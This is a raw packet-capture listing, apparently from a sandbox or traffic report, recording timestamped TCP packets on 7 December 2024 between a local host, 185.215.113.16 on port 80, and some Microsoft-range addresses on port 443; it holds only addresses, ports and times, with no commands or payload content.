Dec 7, 2024 22:40:55.919430017 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.919608116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.919652939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.919722080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.919825077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.920610905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.920700073 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.920706034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.920842886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.921637058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.921683073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.921771049 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.921861887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.922621012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.922696114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.922697067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.922734022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.923772097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.923811913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.923847914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.923886061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.924674034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.924711943 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.924793005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.924843073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.925735950 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.925795078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.925828934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.925841093 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.926733017 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.926779985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.926824093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.926971912 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.927742004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.927855015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.927890062 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.928807974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.928853989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.928895950 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.928915977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.929832935 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.929851055 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.929874897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.929902077 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.930778980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.930825949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.930923939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.930963039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.931811094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.931854010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.932005882 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.932039022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.932845116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.932888985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.932984114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.933027029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.933851004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.933912039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.933947086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.933985949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.934866905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.934915066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.934950113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.934988976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.935892105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.935964108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.936038971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.936077118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.936903954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.936952114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.937006950 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.937047958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.937930107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.938097000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.938146114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.938971996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.939024925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.939030886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.939064026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.940047026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.940094948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.940118074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.940155029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.940998077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.941046953 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.941107035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.941222906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.941931963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.941978931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.080713034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.080811024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.080815077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.080864906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.081166029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.081310034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.081383944 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.082182884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.082228899 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.082293034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.082330942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.083185911 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.083268881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.083287001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.083329916 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.084216118 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.084266901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.084321976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.084428072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.085357904 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.085376024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.085410118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.085433960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.086647034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.086663961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.086704969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.088733912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.088749886 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.088762999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.088776112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.088793039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.088831902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.089314938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.089360952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.089426041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.089466095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.090327978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.090377092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.090451956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.090496063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.091375113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.091444016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.091448069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.091476917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.092356920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.092422962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.092459917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.092520952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.093600035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.093671083 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.093713045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.093724012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.094420910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.094466925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.094597101 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.095406055 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.095462084 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.095524073 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.095562935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.096427917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.096489906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.096529961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.096569061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.097438097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.097537994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.097554922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.097592115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.098484993 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.098536015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.098579884 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.099513054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.099560022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.099621058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.099656105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.100492001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.100532055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.100598097 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.100634098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.101543903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.101613045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.101653099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.102531910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.102572918 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.102653027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.102693081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.103554010 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.103599072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.103708029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.103748083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.104583979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.104643106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.104680061 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.104720116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.105593920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.105721951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.105776072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.106590986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.106640100 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.106725931 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.106764078 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.107716084 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.107765913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.107783079 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.107804060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.108673096 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.108724117 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.108782053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.108819008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.109669924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.109778881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.109823942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.110712051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.110763073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.110821962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.110858917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.111697912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.111737013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.111829042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.111865044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.112730026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.112768888 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.112844944 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.112884998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.113775969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.113895893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.113940001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.114767075 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.114809036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.114907026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.114948034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.115847111 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.115892887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.115957022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.115993977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.116780996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.116821051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.116920948 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.116961956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.117840052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.117940903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.117990971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.118839979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.118892908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.118937016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.118980885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.119878054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.119932890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.119961977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.119999886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.120647907 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.120721102 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.120879889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.120934010 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.120982885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.121014118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.121035099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.121922016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.122030973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.122090101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.122940063 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.122989893 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.123025894 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.123076916 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.123944998 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.123990059 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.124051094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.124090910 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.124972105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.125015020 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.125060081 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.125099897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.125962019 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.126045942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.126090050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.126945019 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.126970053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.127024889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.127110004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.127149105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.128093004 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.128129005 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.128171921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.128210068 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.129036903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.129075050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.129144907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.129187107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.130049944 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.130076885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.130167961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.130209923 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.130290985 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.130342960 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.130800009 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.130870104 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.131056070 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.131105900 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.131186962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.131212950 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.131230116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.132138014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.132277012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.132328033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.133100033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.133225918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.133280039 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.133394003 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.133441925 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.134094954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.137145996 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.190395117 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.190432072 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.190447092 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.190453053 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.192920923 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.192928076 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.192936897 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.192941904 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.196346998 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.196362972 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.196391106 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.196398020 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.206415892 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.206429005 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.206446886 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.206451893 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.259547949 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.259562016 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.259629965 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.272758007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.272881031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.272962093 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.273027897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.273072004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.273174047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.274060965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.274085045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.274106979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.274136066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.275059938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.275242090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.275283098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.276181936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.276190042 CET	49840	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.276202917 CET	443	49840	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.276242971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.276252031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.276268959 CET	49840	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.276297092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.277391911 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.277431965 CET	80	49827	185.215.113.16	192.168.2.6
